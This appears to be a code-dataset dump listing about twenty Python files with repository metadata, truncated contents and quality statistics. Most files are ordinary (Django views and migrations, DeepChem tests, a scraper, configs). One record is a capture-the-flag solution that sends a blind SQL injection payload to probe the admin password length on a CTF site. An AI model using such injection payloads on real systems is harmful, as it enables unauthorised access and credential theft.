hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
c4c0c23efe0af691e686cdc320886e050cb8e361
636
py
Python
0x05/solve/ex1-0x05.py
tuannm-1876/sec-exercises
d8ea08bc02003af3722e0553060ed370ed395b33
[ "MIT" ]
null
null
null
0x05/solve/ex1-0x05.py
tuannm-1876/sec-exercises
d8ea08bc02003af3722e0553060ed370ed395b33
[ "MIT" ]
null
null
null
0x05/solve/ex1-0x05.py
tuannm-1876/sec-exercises
d8ea08bc02003af3722e0553060ed370ed395b33
[ "MIT" ]
null
null
null
import urllib import urllib2 url = "http://ctfq.sweetduet.info:10080/~q6/" def main(): for i in range(1, 100): data = { "id": "admin' AND (SELECT LENGTH(pass) FROM user WHERE id = 'admin') = {counter} --".format(counter=i), "pass": "", } print (data) data1 =...
30.285714
115
0.550314
77
636
4.441558
0.662338
0.040936
0.116959
0.122807
0
0
0
0
0
0
0
0.044248
0.289308
636
21
116
30.285714
0.712389
0
0
0
0
0.052632
0.276295
0
0
0
0
0
0
1
0.052632
false
0.157895
0.105263
0
0.157895
0.157895
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
c4c4d67f988add89a513610e9e3367a81daf5283
593
py
Python
code_examples/package_example/my_scripts/network/connect_telnet.py
natenka/natenka.github.io
74c56be74f2c9b15a4c9b523a1622453ae2064af
[ "MIT" ]
18
2017-02-19T15:58:54.000Z
2022-02-13T22:15:19.000Z
code_examples/package_example/my_scripts/network/connect_telnet.py
natenka/natenka.github.io
74c56be74f2c9b15a4c9b523a1622453ae2064af
[ "MIT" ]
1
2020-02-24T23:14:15.000Z
2020-02-24T23:14:15.000Z
code_examples/package_example/my_scripts/network/connect_telnet.py
natenka/natenka.github.io
74c56be74f2c9b15a4c9b523a1622453ae2064af
[ "MIT" ]
27
2017-05-03T15:38:41.000Z
2022-02-08T02:53:38.000Z
import telnetlib import time def send_command_telnetlib(ipaddress, username, password, enable_pass, command): t = telnetlib.Telnet("192.168.100.1") t.read_until(b"Username:") t.write(username.encode("ascii") + b"\n") t.read_until(b"Password:") t.write(password.encode("ascii") + b"\n") t.writ...
21.178571
80
0.63575
92
593
4
0.358696
0.097826
0.13587
0.149457
0.277174
0.23913
0.23913
0.23913
0
0
0
0.026639
0.177066
593
27
81
21.962963
0.727459
0
0
0.117647
0
0
0.164129
0
0
0
0
0
0
1
0.058824
false
0.294118
0.117647
0
0.235294
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
c4c5720115308ec3559711c2319791d1086d71cd
837
py
Python
fullstack/migrations/0004_officeholder.py
TylerFisher/full-stack-react
dae5df2b85944e66a9ad0c64cad3e83b7cb1e173
[ "MIT" ]
9
2019-01-26T20:09:24.000Z
2021-02-28T12:09:17.000Z
fullstack/migrations/0004_officeholder.py
dariyamizzou/full-stack-react
dae5df2b85944e66a9ad0c64cad3e83b7cb1e173
[ "MIT" ]
3
2020-02-11T23:49:18.000Z
2021-06-10T21:13:36.000Z
fullstack/migrations/0004_officeholder.py
dariyamizzou/full-stack-react
dae5df2b85944e66a9ad0c64cad3e83b7cb1e173
[ "MIT" ]
1
2019-03-09T18:33:12.000Z
2019-03-09T18:33:12.000Z
# Generated by Django 2.1.5 on 2019-01-27 22:45 from django.db import migrations, models import django.db.models.deletion import uuid class Migration(migrations.Migration): dependencies = [ ('fullstack', '0003_auto_20190127_2223'), ] operations = [ migrations.CreateModel( na...
32.192308
114
0.612903
88
837
5.738636
0.590909
0.063366
0.083168
0.130693
0.253465
0.253465
0.253465
0.253465
0.253465
0.253465
0
0.051037
0.250896
837
25
115
33.48
0.754386
0.053763
0
0
1
0
0.136709
0.029114
0
0
0
0
0
1
0
false
0
0.157895
0
0.315789
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
c4c7aa58a5a7074c7dc6f26bfd9244c8183f237e
7,909
py
Python
pages/views.py
SmartDataWithR/CovidHelper
21f8c3f3d81da0b5ec32b228c711e96f9d5c168e
[ "MIT" ]
null
null
null
pages/views.py
SmartDataWithR/CovidHelper
21f8c3f3d81da0b5ec32b228c711e96f9d5c168e
[ "MIT" ]
9
2020-03-27T10:33:35.000Z
2022-03-12T00:20:47.000Z
pages/views.py
SmartDataWithR/CovidHelper
21f8c3f3d81da0b5ec32b228c711e96f9d5c168e
[ "MIT" ]
null
null
null
from django.views.generic import TemplateView from ipware import get_client_ip from django.shortcuts import render, redirect from django.contrib import messages from django.contrib.auth.forms import PasswordChangeForm from django.contrib.auth import update_session_auth_hash from django.conf import settings from .forms ...
48.820988
449
0.677709
1,050
7,909
4.922857
0.207619
0.072548
0.034823
0.043529
0.330238
0.264655
0.245889
0.221319
0.204101
0.204101
0
0.004578
0.19914
7,909
161
450
49.124224
0.811494
0.268808
0
0.060345
0
0
0.159513
0.013206
0
0
0
0
0
1
0.077586
false
0.060345
0.137931
0.043103
0.336207
0.051724
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
c4cd1bca866664aa443fc8b603dcfac8e9e9cf00
353
py
Python
src/118. Pascal's Triangle.py
rajshrivastava/LeetCode
dfe6342fe22b324429b0be3e5c0fef46c7e6b3b0
[ "MIT" ]
1
2019-12-16T08:18:25.000Z
2019-12-16T08:18:25.000Z
src/118. Pascal's Triangle.py
rajshrivastava/LeetCode
dfe6342fe22b324429b0be3e5c0fef46c7e6b3b0
[ "MIT" ]
null
null
null
src/118. Pascal's Triangle.py
rajshrivastava/LeetCode
dfe6342fe22b324429b0be3e5c0fef46c7e6b3b0
[ "MIT" ]
null
null
null
class Solution: def generate(self, numRows: int) -> List[List[int]]: result = [[1]] for i in range(1, numRows): temp = [1] for j in range(1, i): temp.append(result[-1][j-1] + result[-1][j]) temp.append(1) result.append(temp...
27.153846
60
0.450425
43
353
3.697674
0.418605
0.132075
0.100629
0
0
0
0
0
0
0
0
0.038462
0.410765
353
12
61
29.416667
0.725962
0
0
0
1
0
0
0
0
0
0
0
0
1
0.1
false
0
0
0
0.3
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
c4d236eae71088db952059a4c21b0e805b6bad1c
2,228
py
Python
components/icdc-sheepdog/sheepdog/utils/parse.py
CBIIT/icdc-docker
5dc78b96a8d885b3fa427c55b9cc19f4771910fa
[ "Apache-2.0" ]
2
2019-06-10T15:30:51.000Z
2020-01-18T23:24:13.000Z
components/icdc-sheepdog/sheepdog/utils/parse.py
CBIIT/icdc-docker
5dc78b96a8d885b3fa427c55b9cc19f4771910fa
[ "Apache-2.0" ]
null
null
null
components/icdc-sheepdog/sheepdog/utils/parse.py
CBIIT/icdc-docker
5dc78b96a8d885b3fa427c55b9cc19f4771910fa
[ "Apache-2.0" ]
1
2022-03-31T09:52:46.000Z
2022-03-31T09:52:46.000Z
""" TODO """ from collections import Counter import simplejson import yaml import flask from sheepdog.errors import ( UserError, ) def oph_raise_for_duplicates(object_pairs): """ Given an list of ordered pairs, contstruct a dict as with the normal JSON ``object_pairs_hook``, but raise an exception ...
26.52381
78
0.653501
300
2,228
4.736667
0.33
0.038705
0.023223
0.044335
0.283603
0.283603
0.262491
0.214638
0.140746
0.07741
0
0.003656
0.263465
2,228
83
79
26.843373
0.862279
0.386445
0
0.117647
0
0
0.110121
0
0
0
0
0.024096
0
1
0.117647
false
0
0.147059
0
0.382353
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
c4d694c5a7929d60a82f4266c36fe92a6487d6e2
910
py
Python
example/models.py
nim65s/django-jugemaj
771fb5ddb7ceaa3f6b8aa4178c95ab249a8ed406
[ "BSD-2-Clause" ]
null
null
null
example/models.py
nim65s/django-jugemaj
771fb5ddb7ceaa3f6b8aa4178c95ab249a8ed406
[ "BSD-2-Clause" ]
15
2017-06-08T08:12:36.000Z
2022-03-21T20:03:02.000Z
example/models.py
nim65s/django-jugemaj
771fb5ddb7ceaa3f6b8aa4178c95ab249a8ed406
[ "BSD-2-Clause" ]
null
null
null
"""Django models for the example app.""" from django.db import models from wikidata.client import Client # type: ignore LANGS = ["fr", "en"] # ordered list of langages to check on wikidata class WikiDataModel(models.Model): """A django model to represent something available on wikidata.""" name = models...
30.333333
83
0.657143
123
910
4.804878
0.528455
0.040609
0.043993
0
0
0
0
0
0
0
0
0.002805
0.216484
910
29
84
31.37931
0.826087
0.292308
0
0
0
0
0.124797
0
0
0
0
0
0
1
0.2
false
0
0.133333
0
0.666667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
c4e5fbaf6cd5fcd29917077a2405f0c945660808
992
py
Python
minimalist_cms/cms_content/migrations/0004_auto_20190719_1242.py
wullerot/django-minimalist-cms
bd6795d9647f9db1d98e83398238c0e63aca3c1b
[ "MIT" ]
null
null
null
minimalist_cms/cms_content/migrations/0004_auto_20190719_1242.py
wullerot/django-minimalist-cms
bd6795d9647f9db1d98e83398238c0e63aca3c1b
[ "MIT" ]
null
null
null
minimalist_cms/cms_content/migrations/0004_auto_20190719_1242.py
wullerot/django-minimalist-cms
bd6795d9647f9db1d98e83398238c0e63aca3c1b
[ "MIT" ]
null
null
null
# Generated by Django 2.1.10 on 2019-07-19 12:42 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('contenttypes', '0002_remove_content_type_name'), ('cms_content', '0003_auto_20190719_1232'), ] operations ...
33.066667
164
0.633065
103
992
5.92233
0.533981
0.072131
0.045902
0.072131
0.131148
0.131148
0
0
0
0
0
0.047682
0.238911
992
29
165
34.206897
0.760265
0.046371
0
0.304348
1
0
0.240466
0.080508
0
0
0
0
0
1
0
false
0
0.086957
0
0.217391
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
c4e7ad2ce4410048f7e3d9df95d8ae13cd8fa8fc
3,174
py
Python
original-paas/copy_to_container/www/spdpaas/src/celeryApp/celeryConfig.py
yishan1331/docker-practice
91a1a434cbffc33790678af5e09de310386812d1
[ "MIT" ]
null
null
null
original-paas/copy_to_container/www/spdpaas/src/celeryApp/celeryConfig.py
yishan1331/docker-practice
91a1a434cbffc33790678af5e09de310386812d1
[ "MIT" ]
null
null
null
original-paas/copy_to_container/www/spdpaas/src/celeryApp/celeryConfig.py
yishan1331/docker-practice
91a1a434cbffc33790678af5e09de310386812d1
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ ============================================================================== created : 02/08/2021 Last update: 02/08/2021 Developer: Yishan Tsai Lite Version 1 @Yishan08032019 Filename: celeryconfig.py Description: about celery configuration ========================================...
41.220779
236
0.639887
366
3,174
5.319672
0.45082
0.035953
0.049307
0.058552
0.326656
0.250128
0.167437
0.151002
0.151002
0.151002
0
0.022104
0.173283
3,174
77
237
41.220779
0.719893
0.083491
0
0
0
0.02
0.329173
0.163417
0
0
0
0
0
0
null
null
0.04
0.08
null
null
0.04
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
c4e7db74b0a777f921aa87993b291e973a2d6ac3
1,652
py
Python
toontown/coghq/LawbotHQExterior.py
journeyfan/toontown-journey
7a4db507e5c1c38a014fc65588086d9655aaa5b4
[ "MIT" ]
1
2020-09-27T22:12:47.000Z
2020-09-27T22:12:47.000Z
toontown/coghq/LawbotHQExterior.py
journeyfan/toontown-journey
7a4db507e5c1c38a014fc65588086d9655aaa5b4
[ "MIT" ]
null
null
null
toontown/coghq/LawbotHQExterior.py
journeyfan/toontown-journey
7a4db507e5c1c38a014fc65588086d9655aaa5b4
[ "MIT" ]
2
2020-09-26T20:37:18.000Z
2020-11-15T20:55:33.000Z
from direct.directnotify import DirectNotifyGlobal from direct.fsm import ClassicFSM, State from direct.fsm import State from pandac.PandaModules import * from toontown.battle import BattlePlace from toontown.building import Elevator from toontown.coghq import CogHQExterior from toontown.dna.DNAParser import loadDNAFil...
41.3
79
0.72276
172
1,652
6.94186
0.5
0.060302
0.021776
0.031826
0
0
0
0
0
0
0
0.000759
0.202179
1,652
39
80
42.358974
0.905159
0.079903
0
0
0
0
0.010554
0
0
0
0
0
0
1
0.033333
false
0
0.366667
0
0.466667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
c4f84b78cd23bfc6c4e94d2d3b58c3a8e6dd5d94
34,172
py
Python
deepchem/models/tensorgraph/tests/test_layers_eager.py
avimanyu786/deepchem
c5a7c6fff0597b5d896c865efdacec4fa75b00c6
[ "MIT" ]
null
null
null
deepchem/models/tensorgraph/tests/test_layers_eager.py
avimanyu786/deepchem
c5a7c6fff0597b5d896c865efdacec4fa75b00c6
[ "MIT" ]
null
null
null
deepchem/models/tensorgraph/tests/test_layers_eager.py
avimanyu786/deepchem
c5a7c6fff0597b5d896c865efdacec4fa75b00c6
[ "MIT" ]
1
2019-05-19T14:22:32.000Z
2019-05-19T14:22:32.000Z
import deepchem as dc import numpy as np import tensorflow as tf import deepchem.models.tensorgraph.layers as layers from tensorflow.python.eager import context from tensorflow.python.framework import test_util class TestLayersEager(test_util.TensorFlowTestCase): """ Test that layers function in eager mode. """...
37.264995
94
0.654747
4,572
34,172
4.768591
0.071085
0.052426
0.052289
0.043345
0.760618
0.712503
0.676131
0.639116
0.612054
0.571874
0
0.032992
0.231856
34,172
916
95
37.305677
0.797592
0.166803
0
0.538922
0
0
0.000427
0
0
0
0
0.001092
0.208084
1
0.094311
false
0
0.013473
0
0.109281
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
c4f8a7e27a6b1a8b93095262140e88ebc073c0f4
790
py
Python
py/py_0049_prime_permutations.py
lcsm29/project-euler
fab794ece5aa7a11fc7c2177f26250f40a5b1447
[ "MIT" ]
null
null
null
py/py_0049_prime_permutations.py
lcsm29/project-euler
fab794ece5aa7a11fc7c2177f26250f40a5b1447
[ "MIT" ]
null
null
null
py/py_0049_prime_permutations.py
lcsm29/project-euler
fab794ece5aa7a11fc7c2177f26250f40a5b1447
[ "MIT" ]
null
null
null
# Solution of; # Project Euler Problem 49: Prime permutations # https://projecteuler.net/problem=49 # # The arithmetic sequence, 1487, 4817, 8147, in which each of the terms # increases by 3330, is unusual in two ways: (i) each of the three terms are # prime, and, (ii) each of the 4-digit numbers are permutations of...
30.384615
77
0.711392
127
790
4.346457
0.622047
0.032609
0.048913
0
0
0
0
0
0
0
0
0.066456
0.2
790
25
78
31.6
0.806962
0.775949
0
0
0
0
0.04908
0
0
0
0
0
0
1
0.125
false
0.125
0.125
0
0.25
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
c4f93be850b5b4fb3f0bf11c18b271c4dd267dcc
8,879
py
Python
rqmonitor/cli.py
trodery/rqmonitor
65831337591afe6887dec2dbb37a28d84f881f35
[ "Apache-2.0" ]
null
null
null
rqmonitor/cli.py
trodery/rqmonitor
65831337591afe6887dec2dbb37a28d84f881f35
[ "Apache-2.0" ]
null
null
null
rqmonitor/cli.py
trodery/rqmonitor
65831337591afe6887dec2dbb37a28d84f881f35
[ "Apache-2.0" ]
null
null
null
""" This reference script has been taken from rq-dashboard with some modifications """ import importlib import logging import os import sys from urllib.parse import quote as urlquote, urlunparse from redis.connection import (URL_QUERY_ARGUMENT_PARSERS, UnixDomainSocketConnection, ...
32.52381
94
0.64692
1,108
8,879
5.083935
0.278881
0.023966
0.007456
0.009054
0.069945
0.049352
0.026274
0.026274
0
0
0
0.007909
0.245298
8,879
273
95
32.52381
0.832712
0.328077
0
0.150602
0
0.006024
0.175335
0.008523
0
0
0
0
0
1
0.036145
false
0.072289
0.078313
0
0.13253
0.048193
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
c4fbf075eb619be044717172093dd9b2c09291e8
1,579
py
Python
dbms/tests/integration/helpers/test_tools.py
qqiangwu/ClickHouse
4700d375d8238ca3d7f39a1d0001f173272bbf3a
[ "Apache-2.0" ]
4
2020-04-27T13:03:31.000Z
2020-10-15T09:51:13.000Z
dbms/tests/integration/helpers/test_tools.py
RCcode/ClickHouse
ccfb51b8dd680a8ad2863e0b2f4e32364b86daf2
[ "Apache-2.0" ]
8
2018-11-21T09:45:25.000Z
2018-11-21T13:53:40.000Z
dbms/tests/integration/helpers/test_tools.py
RCcode/ClickHouse
ccfb51b8dd680a8ad2863e0b2f4e32364b86daf2
[ "Apache-2.0" ]
2
2018-12-17T13:08:09.000Z
2022-01-26T08:50:20.000Z
import difflib import time class TSV: """Helper to get pretty diffs between expected and actual tab-separated value files""" def __init__(self, contents): raw_lines = contents.readlines() if isinstance(contents, file) else contents.splitlines(True) self.lines = [l.strip() for l in raw_lines if...
38.512195
159
0.645978
212
1,579
4.641509
0.419811
0.045732
0.042683
0.057927
0.075203
0.075203
0.075203
0.075203
0
0
0
0.00978
0.222926
1,579
40
160
39.475
0.792176
0
0
0.064516
0
0
0.054923
0
0
0
0
0
0.096774
0
null
null
0
0.064516
null
null
0.032258
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
f204e6f22d0c9b479799a0897aaa41e742212566
5,767
py
Python
Lianjia/LianjiaErShouFang.py
Detailscool/YHSpider
ab1276c9167f70fed3ccff17e02fb62d51e4a469
[ "MIT" ]
1
2017-05-04T08:10:34.000Z
2017-05-04T08:10:34.000Z
Lianjia/LianjiaErShouFang.py
Detailscool/YHSpider
ab1276c9167f70fed3ccff17e02fb62d51e4a469
[ "MIT" ]
null
null
null
Lianjia/LianjiaErShouFang.py
Detailscool/YHSpider
ab1276c9167f70fed3ccff17e02fb62d51e4a469
[ "MIT" ]
null
null
null
# -*- coding:utf-8 -*- import requests from bs4 import BeautifulSoup import sys import csv reload(sys) sys.setdefaultencoding('utf-8') def not_empty(str): return str and str.strip() if __name__ == '__main__': url_main = 'http://gz.lianjia.com' f = open(u'广州二手房.csv', 'wb') f.write(unicode('\xEF\xB...
50.147826
157
0.521935
693
5,767
4.248196
0.262626
0.039742
0.033628
0.038043
0.284986
0.261889
0.210258
0.173913
0.149457
0.149457
0
0.010304
0.32686
5,767
114
158
50.587719
0.748068
0.133345
0
0.085106
0
0
0.088585
0
0
0
0
0
0
0
null
null
0
0.042553
null
null
0.031915
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
f209fda8f0cfe43f72b6eb3a30447ef4d992f64f
6,764
py
Python
python/alertsActor/rules/dangerKey.py
sdss/twistedAlertsActor
857588f6da39b7716263f8bd8e3f1be8bb4ce0f7
[ "BSD-3-Clause" ]
null
null
null
python/alertsActor/rules/dangerKey.py
sdss/twistedAlertsActor
857588f6da39b7716263f8bd8e3f1be8bb4ce0f7
[ "BSD-3-Clause" ]
null
null
null
python/alertsActor/rules/dangerKey.py
sdss/twistedAlertsActor
857588f6da39b7716263f8bd8e3f1be8bb4ce0f7
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/env python # encoding: utf-8 # # dangerKey.py # # Created by John Donor on 10 April 2019 import re, time from yaml import YAMLObject from alertsActor import log class diskCheck(YAMLObject): """evaluate a disk keyword """ def __init__(self): pass def __call__(self, keyState): ...
29.797357
95
0.563128
725
6,764
5.14069
0.286897
0.018782
0.029514
0.050979
0.356587
0.310706
0.297558
0.285216
0.266971
0.227529
0
0.009864
0.325547
6,764
226
96
29.929204
0.807102
0.161295
0
0.458904
0
0
0.078607
0.018306
0
0
0
0
0
1
0.143836
false
0.068493
0.020548
0.006849
0.383562
0.006849
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
f20a9c6a0a0f41308a9f256ea4ec3d2997af5cd5
6,388
py
Python
eruditio/shared_apps/django_community/utils.py
genghisu/eruditio
5f8f3b682ac28fd3f464e7a993c3988c1a49eb02
[ "BSD-3-Clause", "MIT" ]
null
null
null
eruditio/shared_apps/django_community/utils.py
genghisu/eruditio
5f8f3b682ac28fd3f464e7a993c3988c1a49eb02
[ "BSD-3-Clause", "MIT" ]
null
null
null
eruditio/shared_apps/django_community/utils.py
genghisu/eruditio
5f8f3b682ac28fd3f464e7a993c3988c1a49eb02
[ "BSD-3-Clause", "MIT" ]
null
null
null
""" Various utilities functions used by django_community and other apps to perform authentication related tasks. """ import hashlib, re import django.forms as forms from django.core.exceptions import ObjectDoesNotExist from django.forms import ValidationError import django.http as http from django.conf import setting...
32.262626
109
0.681277
825
6,388
5.100606
0.207273
0.034221
0.02424
0.019962
0.201046
0.144487
0.077947
0.04135
0.022338
0
0
0.003627
0.223075
6,388
198
110
32.262626
0.844247
0.170319
0
0.184874
0
0
0.026904
0
0
0
0
0
0
1
0.117647
false
0.05042
0.159664
0
0.378151
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
f20f3b3cdb095ea301a3efa6ea5c8c922e9be8db
640
py
Python
ghiaseddin/scripts/download-dataset-lfw10.py
yassersouri/ghiaseddin
a575f2375729e7586ae7c682f8505dbb7619e622
[ "MIT" ]
44
2016-09-07T11:04:10.000Z
2022-03-14T07:38:17.000Z
ghiaseddin/scripts/download-dataset-lfw10.py
yassersouri/ghiaseddin
a575f2375729e7586ae7c682f8505dbb7619e622
[ "MIT" ]
1
2016-09-06T23:33:54.000Z
2016-09-06T23:33:54.000Z
ghiaseddin/scripts/download-dataset-lfw10.py
yassersouri/ghiaseddin
a575f2375729e7586ae7c682f8505dbb7619e622
[ "MIT" ]
13
2016-09-17T15:31:06.000Z
2021-05-22T07:28:46.000Z
from subprocess import call import os import sys sys.path.append(os.path.join(os.path.dirname(os.path.realpath(__file__)), os.pardir)) import settings data_zip_path = os.path.join(settings.lfw10_root, "LFW10.zip") data_url = "http://cvit.iiit.ac.in/images/Projects/relativeParts/LFW10.zip" # Downloading the data zip ...
33.684211
85
0.714063
99
640
4.474747
0.565657
0.054176
0.074492
0
0
0
0
0
0
0
0
0.016484
0.146875
640
18
86
35.555556
0.794872
0.221875
0
0
0
0
0.259635
0
0
0
0
0
0
1
0
false
0
0.307692
0
0.307692
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
f210443ae14873f6d0154e4872180eb345a39221
9,874
py
Python
hops/dist_allreduce.py
Limmen/hops-util-py
99263edcd052dbb554f0cde944fbdc748dc95f06
[ "Apache-2.0" ]
null
null
null
hops/dist_allreduce.py
Limmen/hops-util-py
99263edcd052dbb554f0cde944fbdc748dc95f06
[ "Apache-2.0" ]
null
null
null
hops/dist_allreduce.py
Limmen/hops-util-py
99263edcd052dbb554f0cde944fbdc748dc95f06
[ "Apache-2.0" ]
null
null
null
""" Utility functions to retrieve information about available services and setting up security for the Hops platform. These utils facilitates development by hiding complexity for programs interacting with Hops services. """ import pydoop.hdfs import subprocess import os import stat import sys import threading import t...
36.435424
295
0.594896
1,190
9,874
4.714286
0.267227
0.030303
0.01426
0.023173
0.12246
0.105704
0.05918
0.035294
0.026381
0.026381
0
0.003633
0.303119
9,874
271
296
36.435424
0.811655
0.086591
0
0.169399
0
0
0.143424
0.034571
0
0
0
0
0
0
null
null
0
0.087432
null
null
0.060109
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
f218482525c6f07411100d66a18c105ea0a2d6c8
926
py
Python
samples/noxfile_config.py
ikuleshov/python-analytics-admin
f3d6fa78292878e7470806be0c116c6ca589eec5
[ "Apache-2.0" ]
null
null
null
samples/noxfile_config.py
ikuleshov/python-analytics-admin
f3d6fa78292878e7470806be0c116c6ca589eec5
[ "Apache-2.0" ]
null
null
null
samples/noxfile_config.py
ikuleshov/python-analytics-admin
f3d6fa78292878e7470806be0c116c6ca589eec5
[ "Apache-2.0" ]
null
null
null
